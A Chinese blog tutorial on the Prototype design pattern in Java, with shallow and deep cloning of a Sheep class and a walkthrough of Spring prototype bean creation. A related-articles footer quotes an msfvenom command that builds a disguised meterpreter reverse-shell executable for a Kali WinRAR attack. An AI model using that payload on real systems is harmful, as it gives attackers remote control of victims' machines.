设计模式 原型模式 与 Spring 原型模式源码解析(包含Bean的创建过程)

原型模式

原型模式(Prototype模式)是指:用原型实例指定创建对象的种类,并且通过拷贝这些原型,创建新的对象。

原型模式是一种创建型设计模式,允许一个对象再创建另外一个可定制的对象,无需知道如何创建的细节。

工作原理是:通过将一个原型对象传给那个要发动创建的对象,这个要发动创建的对象通过请求原型对象拷贝它们自己来实施创建,即对象.clone

克隆羊问题

现有一只羊,姓名:tom,年龄:1,颜色:白色。克隆5只属性完全相同的羊

传统方式实例 这里使用lombok简化代码

优点: 好理解,无脑操作,啪啪啪。

缺点:
在创建新对象时,总是需要重新获取原始对象的属性,如果创建的对象属性比较多时就贼麻烦。
总是重新初始化对象,而不是动态获取对象运行时的状态,不灵活。

改进思路:
Java中Object类是所有类的根类,Object类提供了一个clone()方法,该方法可以将一个Java对象复制一份,但是需要实现clone的Java类必须实现一个接口Cloneable,改接口表示该类能够复制且具有复制的能力,即原型模式。

/*** @author LionLi*/
@Data
public class Sheep {private String name;private int age;private String color;public Sheep(String name, int age, String color) {this.name = name;this.age = age;this.color = color;}
}
/*** @author LionLi*/
public class Test {public static void main(String[] args) {//传统的方法Sheep sheep1 = new Sheep("tom", 1, "白色");Sheep sheep2 = new Sheep(sheep1.getName(), sheep1.getAge(), sheep1.getColor());Sheep sheep3 = new Sheep(sheep1.getName(), sheep1.getAge(), sheep1.getColor());Sheep sheep4 = new Sheep(sheep1.getName(), sheep1.getAge(), sheep1.getColor());Sheep sheep5 = new Sheep(sheep1.getName(), sheep1.getAge(), sheep1.getColor());System.out.println("sheep1:" + sheep1);System.out.println("sheep2:" + sheep2);System.out.println("sheep3:" + sheep3);System.out.println("sheep4:" + sheep4);System.out.println("sheep5:" + sheep5);}
}

浅拷贝与深拷贝

浅拷贝

对于数据类型是基本数据类型的成员变量,浅拷贝会直接进行值传递,也就是将该属性值复制一份给新的对象。

对于数据类型是引用数据类型的成员变量,比如说成员变量是某个数组、某个类的对象等,那么浅拷贝会进行引用传递,也就是只是将该成员变量的引用值(内存地址)复制一份给新的对象。

因为实际上两个对象的该成员变量都指向同一个实例。在这种情况下,在一个对象中修改该成员变量会影响到另一个对象的该成员变量值。

浅拷贝是使用默认的clone()方法来实现的,即sheep = super.clone();

深拷贝

复制对象的所有基本数据类型的成员变量值,为所有引用数据类型的成员变量申请存储空间,并复制每个引用数据类型成员变量所引用的对象,直到该对象可达的所有对象。

也就是说,对象进行深拷贝要对整个对象(包括对象的引用类型)进行拷贝

深拷贝实现方式1:重写clone方法来实现深拷贝

深拷贝实现方式2:通过对象序列化实现深拷贝(推荐)

原型模式(浅拷贝)

/*** 注意使用原型模式实现clone克隆方法必须实现 Cloneable 接口不然会报错** @author LionLi*/
@Data
public class Sheep implements Cloneable {private String name;private Integer age;private String color;public Sheep(String name, int age, String color) {this.name = name;this.age = age;this.color = color;}@Overrideprotected Sheep clone() {Sheep obj = null;try {obj = (Sheep) super.clone();} catch (CloneNotSupportedException e) {e.printStackTrace();}return obj;}}
/*** @author LionLi*/
public class Test {public static void main(String[] args) {// 原型浅克隆Sheep sheep1 = new Sheep("tom", 1, "白色");Sheep sheep2 = sheep1.clone();Sheep sheep3 = sheep1.clone();Sheep sheep4 = sheep1.clone();Sheep sheep5 = sheep1.clone();System.out.println(sheep1 == sheep2);System.out.println(sheep2 == sheep3);System.out.println(sheep3 == sheep4);System.out.println(sheep4 == sheep5);System.out.println(sheep5 == sheep1);}
}

运行结果 五个对象内存地址全都不一样 克隆成功

浅拷贝存在的问题

实体类中的对象 例如 Object List Map 等均为引用传递 浅拷贝是无法处理引用传递对象的

我们在Sheep中增加一个List对象 演示问题所在

/*** 注意使用原型模式实现clone克隆方法必须实现 Cloneable 接口不然会报错** @author LionLi*/
@Data
public class Sheep implements Cloneable {private String name;private Integer age;private String color;private List<String> strList;public Sheep(String name, int age, String color, List<String> strList) {this.name = name;this.age = age;this.color = color;this.strList = strList;}@Overrideprotected Sheep clone() {Sheep obj = null;try {obj = (Sheep) super.clone();} catch (CloneNotSupportedException e) {e.printStackTrace();}return obj;}}
/*** @author LionLi*/
public class Test {public static void main(String[] args) {// 原型浅克隆List<String> list = new ArrayList<>();list.add("测试1");list.add("测试2");Sheep sheep1 = new Sheep("tom", 1, "白色", list);Sheep sheep2 = sheep1.clone();System.out.println(sheep1 == sheep2);System.out.println(sheep1.getStrList() == sheep2.getStrList());}
}

测试结论 对于引用对象List的内存地址是想同的 克隆失败

深拷贝 方法一 重写clone方法

弊端: 编码复杂 存在硬编码 不利于扩展 改动较大

    @Overrideprotected Sheep clone() {Sheep obj = null;try {obj = (Sheep) super.clone();// 这里我们重新创建一个 List 对象 将所有数据 copy 到新对象内obj.setStrList(new ArrayList<>(strList));} catch (CloneNotSupportedException e) {e.printStackTrace();}return obj;}

重新测试 发现引用对象List也克隆成功了

深拷贝 方法二 通过序列化/反序列化实现

首先 使用序列化需要实现JDK的序列化接口 Serializable 我们对实体类进行改造

这里我们讲述使用JDK自带方式进行序列化 也可以使用JSON工具进行序列化这里不多赘述

import java.io.Serializable;
import java.util.List;/*** @author LionLi*/
@Data
public class Sheep implements Serializable {private String name;private Integer age;private String color;private List<String> strList;public Sheep(String name, int age, String color, List<String> strList) {this.name = name;this.age = age;this.color = color;this.strList = strList;}}

然后对实体类增加serializableClone序列化克隆方法

    protected Sheep serializableClone() {// try-resources 写法 自动关闭流try (// 字节输出流ByteArrayOutputStream bos = new ByteArrayOutputStream();// 对象输出流ObjectOutputStream oos = new ObjectOutputStream(bos)) {// 将当前对象序列化为二进制输出到对象流内oos.writeObject(this);try (// 字节输入流ByteArrayInputStream bis = new ByteArrayInputStream(bos.toByteArray());// 对象输入流ObjectInputStream ois = new ObjectInputStream(bis)) {// 从对象流读取二进制反序列化为对象return (Sheep) ois.readObject();}} catch (Exception e) {e.printStackTrace();return null;}}

测试成功 Sheep对象与List对象均为不相等

原型模式的注意事项和细节

  • 创建新对象比较复杂是,可以利用原型模式简化对象的创建过程,同时也能提高效率
  • 不用重新初始化对象,而是动态地获得对象运行时的状态
  • 如果原始对象发生变化,其它克隆对象也会发生相应的变化,无需修改代码
  • 在实现深克隆时可能需要比较复杂的代码
  • 缺点:需要为每一个类配备一个克隆方法,这对全新的类来说不是很难。但对已有的类进行改造时,需要修改其源代码,违背了开闭原则(OCP)。

Spring中原型模式应用

Spring 中原型 bean 的创建,就是使用得原型设计模式

// @Scope("singleton") // 单例模式 默认单例
@Scope("prototype") // 原型模式 每次注入都会创建一个新的
@Bean()
public Object obj() {return new Object();
}

找到 AbstractBeanFactory 这个是 BeanFactory Bean工厂的抽象工厂,我们找到 doGetBean 方法 这个是所有getBean的最终执行方法

不了解 BeanFactory 的请参考另一篇文章 Spring 的工厂模式 BeanFactory 是什么源码刨析

往下翻我们找到下方有个判断

然后我们进入到 createBean 方法实现
找到 AbstractAutowireCapableBeanFactory 此类为 AbstractBeanFactory 的下层抽象工厂实现 用于在执行 @Autowire 自动注入时查找或创建bean实例

我们找到 doCreateBean 方法 此方法是所有 createBean 方法的最终执行方法

进入 createBeanInstance 创建bean实例方法
找到最后两行查看逻辑

文章内容参考

Java设计模式——原型模式(实例)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/220737.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

libp2p 快速开始

文章目录 第一部分&#xff1a;libp2p 快速入门一、什么是libp2plibp2p 发展历程libp2p的特性p2p 网络和我们熟悉的 client/server 网络的区别&#xff1a; 二、Libp2p的实现目标三、Libp2p的用途四、运行 Libp2p 协议流程libp2p 分为三层libp2p 还有一个局域网节点发现协议 mD…

知识付费小程序开发:技术实践示例

随着知识付费小程序的兴起&#xff0c;让我们一起来看一个简单的示例&#xff0c;使用Node.js和Express框架搭建一个基础的知识付费小程序后端。 首先&#xff0c;确保你已经安装了Node.js和npm。接下来&#xff0c;创建一个新的项目文件夹&#xff0c;然后通过以下步骤创建你…

windows redis 允许远程访问配置

安装好windows版本的redis&#xff0c;会以服务方式启动&#xff0c;但是不能远程访问&#xff0c;这个时候需要修改配置。redis安装路径下会有2个配置文件&#xff0c;究竟需要怎么修改才能生效呢&#xff1f;看下图 这里的redis服务指定了是redis.windows-service.conf文件&…

kali-WinRaR高级配置

文章目录 操作环境一、下载WinRaR二、准备工作三、文件名处理四、开始监听 操作环境 kali windows 一、下载WinRaR http://www.winrar.com.cn/ 二、准备工作 msfvenom -p windows/meterpreter/reverse_tcp LHOST192.168.64.129 LPORT4444 -f exe -o YouGuess.exe┌──(…

21 3GPP中 5G NR高速列车通信标准化

文章目录 信道模型实验——物理层设计相关元素μ(与子载波间隔有关)设计参考信号(DMRS) 本文提出初始接入、移动性管理、线性小区设计等高层技术。描述3GPP采用HST场景的评估参数&#xff0c;阐释了HST应用的物理层技术&#xff0c;包括数字通信和参考信号设计&#xff0c;链路…

智能优化算法应用:基于人工电场算法3D无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于人工电场算法3D无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于人工电场算法3D无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.人工电场算法4.实验参数设定5.算法结果6.…

IDEA运行JSP启动后页面中文乱码

源代码截图&#xff1a; 运行结果截图&#xff1a; 在<head>标签内加入代码 <% page contentType"text/html; charsetgb2312"%> 重启服务器&#xff0c;问题已改善 ————————————————— 该文仅供学习以及参考&#xff0c;可做笔记收藏…

【数据结构】(堆)Top-k|堆排序

目录 概念&#xff1a; 堆的实现 构建 初始化 销毁 插入元素 往上调整 删除堆顶元素 往下调整 返回堆顶元素 返回有效个数 是否为空 堆排序 Top-k问题 ​编辑 创建数据 堆top-k 概念&#xff1a; 堆是将数据按照完全二叉树存储方式存储到一维数组中&#xff…

【Python】—— 如果使用matplotlib做数据可视化

matplotlib做数据可视化 相关知识掌握matplotlib的基本使用方法1. 折线图2. 散点图3. 柱状图4. 饼图5. 直方图6. 等高线图7. 图形定制 掌握数据处理的基本方法1. 数据筛选2. 缺失值处理3. 异常值处理 理解数据可视化的原则和方法1. 选择合适的图表类型2. 避免数据混淆3. 突出重…

金智融门户(统一身份认证)同步数据至钉钉通讯录

前言:因全面使用金智融门户和数据资产平台,二十几个信息系统已实现统一身份认证和数据同步,目前单位使用的钉钉尚未同步组织机构和用户信息,职工入职、离职、调岗时都需要手工在钉钉后台操作,一是操作繁琐,二是钉钉通讯录更新不及时或经常遗漏,带来管理问题。通过金智融…

.NET 自定义中间件 判断是否存在 AllowAnonymousAttribute 特性 来判断是否需要身份验证

public Task InvokeAsync(HttpContext context){// 获取终点路由特性var endpointFeature context.Features.Get<IEndpointFeature>();// 获取是否定义了特性var attribute endpointFeature?.Endpoint?.Metadata?.GetMetadata<AllowAnonymousAttribute>();if …

修复泰坦陨落2缺少msvcr120.dll的5种方法,亲测有效

游戏《泰坦陨落2》缺少msvcr120.dll的问题困扰着许多玩家。这个问题的主要原因可能是系统环境不完整、软件或游戏版本不匹配、DLL文件丢失或损坏以及杀毒软件误判等。msvcr120.dll是Microsoft Visual C 2013 Redistributable的一个组件&#xff0c;它包含了许多运行库文件&…

LeetCode 142. 环形链表 II

给定一个链表的头节点 head &#xff0c;返回链表开始入环的第一个节点。 如果链表无环&#xff0c;则返回 null。 如果链表中有某个节点&#xff0c;可以通过连续跟踪 next 指针再次到达&#xff0c;则链表中存在环。 为了表示给定链表中的环&#xff0c;评测系统内部使用整…

运维实践|采集MySQL数据出现many connection errors

文章目录 问题出现问题分析当前环境问题分析 解决方案1 检查调度事件任务是否开启2 开启调度事件任务3 创建一张日志表4 创建函数存储过程5 创建事件定时器6 开启事件调度任务7 检查核实是否创建 总结 问题出现 最近在做OGG结构化数据采集工作&#xff0c;在数据采集过程中&am…

【微服务】Spring Aop原理深入解析

目录 一、前言 二、aop概述 2.1 什么是AOP 2.2 AOP中的一些概念 2.2.1 aop通知类型 2.3 AOP实现原理 2.3.1 aop中的代理实现 2.4 静态代理与动态代理 2.4.1 静态代理实现 三、 jdk动态代理与cglib代理 3.1 jdk动态代理 3.1.1 jdk代理示例 3.1.2 jdk动态代理模拟实现…

用23种设计模式打造一个cocos creator的游戏框架----(二十)解析器模式

1、模式标准 模式名称&#xff1a;解析器模式 模式分类&#xff1a;行为型 模式意图&#xff1a;给定一个语言&#xff0c;定义它的文法的一种表示&#xff0c;并定义一个解释器&#xff0c;这个解释器使用该表示来解释语言中的句子。 结构图&#xff1a; 适用于&#xff1…

TikTok矩阵玩法分享,如何建立TikTok矩阵?

矩阵是在 TikTok 上非常常见的营销方式&#xff0c;很多卖家想要通过矩阵化运营快速涨粉。但要想做好TikTok矩阵&#xff0c;需要有明确的方向和计划。下面东哥我将分享一些做TikTok矩阵的玩法&#xff0c;帮助大家更好地搭建自己的TikTok矩阵。 了解TikTok矩阵 TikTok矩阵是一…

Qt 数据库QSqlDatabase使用记录

记录一些在QT中使用QSqlDatabase操作数据库时&#xff0c;需要注意的地方 创建数据库 bool CDBOperatorAbstract::_openDBConn(CDatabaseConfig config) {QWriteLocker locker(&m_locker);QSqlDatabase db;if(QSqlDatabase::contains(m_connectionName)){db QSqlDatabas…

微信小程序校园跑腿系统怎么做,如何做,要做多久

​ 在这个互联网快速发展、信息爆炸的时代&#xff0c;人人都离不开手机&#xff0c;每个人都忙于各种各样的事情&#xff0c;大学生也一样&#xff0c;有忙于学习&#xff0c;忙于考研&#xff0c;忙着赚学分&#xff0c;忙于参加社团&#xff0c;当然也有忙于打游戏的&#x…

数据可视化---饼图、环形图、雷达图

类别内容导航机器学习机器学习算法应用场景与评价指标机器学习算法—分类机器学习算法—回归机器学习算法—聚类机器学习算法—异常检测机器学习算法—时间序列数据可视化数据可视化—折线图数据可视化—箱线图数据可视化—柱状图数据可视化—饼图、环形图、雷达图统计学检验箱…